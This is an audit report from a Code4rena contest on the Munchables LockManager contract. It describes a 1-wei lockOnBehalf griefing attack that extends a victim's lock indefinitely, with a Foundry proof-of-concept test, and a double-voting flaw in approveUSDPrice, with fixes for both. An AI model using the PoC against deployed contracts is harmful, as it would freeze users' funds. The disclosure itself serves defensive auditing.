Munchables - iamandreiski's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275-L294

Vulnerability details

Impact

A malicious user can prevent another user's stake from being unlocked/withdrawn for an indefinite amount of time at very little cost (1 wei).

A user's stake can be locked basically forever due to a malicious user depositing on their behalf and extending the stake period / locked time.

Proof of Concept

A malicious user can lock another user's stake forever by depositing arbitrary amounts through the lockOnBehalf() function.

Any user can deposit an arbitrary amount of funds on behalf of any other user, the only requirement is for both accounts to be registered and for the user which is calling the lockOnBehalf() function to have enough funds to cover the deposited amount, which can be 1 wei.

The LockManager contract / _lock() function will extend the user's stake for the lockDuration or for the minimum lock duration if such isn't set to the whole amount which is deposited to that account, no matter what the secondary/following deposit amount is.

A malicious user can take advantage of this and basically lock another user(s) stake/deposit forever.

By calling lockOnBehalf() which subsequently calls _lock() with the malicious user address being passed as the _tokenOwner argument and the victim as the _lockRecipient.

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        (
            address _mainAccount,
            MunchablesCommonLib.Player memory _player
        ) = accountManager.getPlayer(_lockRecipient);
        if (_mainAccount != _lockRecipient) revert SubAccountCannotLockError();
        if (_player.registrationDate == 0) revert AccountNotRegisteredError();
        // check approvals and value of tx matches
        if (_tokenContract == address(0)) {
            if (msg.value != _quantity) revert ETHValueIncorrectError();
        } else {
            if (msg.value != 0) revert InvalidMessageValueError();
            IERC20 token = IERC20(_tokenContract);
            uint256 allowance = token.allowance(_tokenOwner, address(this));
            if (allowance < _quantity) revert InsufficientAllowanceError();
        }


        LockedToken storage lockedToken = lockedTokens[_lockRecipient][
            _tokenContract
        ];
        ConfiguredToken storage configuredToken = configuredTokens[
            _tokenContract
        ];


        // they will receive schnibbles at the new rate since last harvest if not for force harvest
        accountManager.forceHarvest(_lockRecipient);


        // add remainder from any previous lock
        uint256 quantity = _quantity + lockedToken.remainder;
        uint256 remainder;
        uint256 numberNFTs;
        uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;


        if (_lockDuration == 0) {
            _lockDuration = lockdrop.minLockDuration;
        }
        if (
            lockdrop.start <= uint32(block.timestamp) &&
            lockdrop.end >= uint32(block.timestamp)
        ) {
            if (
                _lockDuration < lockdrop.minLockDuration ||
                _lockDuration >
                uint32(configStorage.getUint(StorageKey.MaxLockDuration))
            ) revert InvalidLockDurationError();
            if (msg.sender != address(migrationManager)) {
                // calculate number of nfts
                remainder = quantity % configuredToken.nftCost;
                numberNFTs = (quantity - remainder) / configuredToken.nftCost;


                if (numberNFTs > type(uint16).max) revert TooManyNFTsError();


                // Tell nftOverlord that the player has new unopened Munchables
                nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs));
            }
        }


        // Transfer erc tokens
        if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
            token.transferFrom(_tokenOwner, address(this), _quantity);
        }


        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
        lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);


        // set their lock duration in playerSettings
        playerSettings[_lockRecipient].lockDuration = _lockDuration;


        emit Locked(
            _lockRecipient,
            _tokenOwner,
            _tokenContract,
            _quantity,
            remainder,
            numberNFTs,
            _lockDuration
        );
    }

• The only checks performed will be if the account is registered, if the victim address is their main account and if the malicious user has sent the _amount in the msg.value or if they've given approval to the contract for that amount depending on whether we're using native tokens or ERC20.

After that, it will continue with the standard flow and increase the user's lock period for what they've set as the lock period or for the minimum one.

• This can be repeated as many time as needed and extend the lock indefinitely, either by frontrunning unlock transactions or just calling lock at arbitrary times in order to extend the lock.
• This mechanism can also be used to frontrun the setLockDuration() function if it's used to shorten the already existing lock period.

Here's a coded PoC which can be used in the SpeedRun.t.sol test suite in order to test this:

 function testDoS() public {
        uint256 lockAmount1Wei = 1 wei;
        uint256 victimLockAmount = 5 ether;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        //register victim
        vm.prank(victim);
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        vm.prank(victim);
        lm.setLockDuration(15 days);

        vm.prank(victim);
        lm.lock{value: victimLockAmount}(address(0), victimLockAmount);

        vm.warp(16 days);

        lm.lockOnBehalf{value: lockAmount1Wei}(address(0), lockAmount1Wei, victim);

        vm.startPrank(victim);
        vm.expectRevert();
        lm.unlock(address(0), victimLockAmount);
        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

• When another user deposits on behalf of other user(s) to be accounted as a separate deposit which lock time/period won't affect the previous deposits.
• Allow for lockOnBehalf() to be called only on behalf of users which have previously approved addresses to be able to do this, something similar like allowances in terms of ERC20 tokens.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L191-L197

Vulnerability details

Impact

Due to a missing check on approveUSDPrice() a single price feed role can first disapprove a price and then approve it, basically casting two votes instead of one.

Proof of Concept

When a price feed role wants to disapprove a price there are checks which make sure that they are not the proposer, or they haven't already approved the price:

        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();
        if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyDisapprovedError();
        if (usdUpdateProposal.proposedPrice != _price)
            revert ProposalPriceNotMatchedError();

Although some of the above-mentioned validations are not present in the approveUSDPrice() function.

A price feed role is able to both disapprove and approve a proposed price, as long as they first disapprove it, and then approve it.

    function approveUSDPrice(
        uint256 _price
    )
        external
        onlyOneOfRoles(
            [
                Role.PriceFeed_1,
                Role.PriceFeed_2,
                Role.PriceFeed_3,
                Role.PriceFeed_4,
                Role.PriceFeed_5
            ]
        )
    {
        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.proposer == msg.sender)
            revert ProposerCannotApproveError();
        if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();
        if (usdUpdateProposal.proposedPrice != _price)
            revert ProposalPriceNotMatchedError();


        usdUpdateProposal.approvals[msg.sender] = _usdProposalId;
        usdUpdateProposal.approvalsCount++;

• A price feed role can "disapprove" a price, which will set the disapprovals[msg.sender] to the current id.
• Then due to the non-existing checks if the price feed role who is calling the approveUSDPrice() if they've casted a vote for the price disapproval, will be able to also approve the price, effectively casting two votes.

Tools Used

Manual Review

Recommended Mitigation Steps

Include the following check in approveUSDPrice():

if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyDisapprovedError();

Assessed type

Invalid Validation